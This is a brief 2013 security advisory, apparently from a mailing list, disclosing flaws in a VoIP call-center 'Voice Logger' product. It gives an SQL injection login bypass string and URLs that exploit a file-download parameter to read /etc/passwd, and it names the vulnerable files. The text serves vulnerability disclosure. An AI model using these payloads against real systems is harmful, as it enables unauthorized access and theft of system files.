Author: Michal Blaszczak
Website: http://blaszczakm.blogspot.com
Project: hack voip - http://blaszczakm.blogspot.com/search/label/hack%20voi=
p
Date: 16.07.2013
Voice Logger - VoIP software for Call Center
1) bypass login
login: admin' or 1=3D'1
password: admin
line: 168 file: manager_login.server.php
2) arbitrary file download
http://192.168.15.145/poligon/asttecs/records1.php?file=3D/etc/passwd
linie: 2 file:records.php
http://192.168.15.145/poligon/asttecs/records.php?file=3D/etc/passwd
linie: 2 file:records.php
3) and other security bugs
Micha=C5=82 B=C5=82aszczak
http://blaszczakm.blogspot.com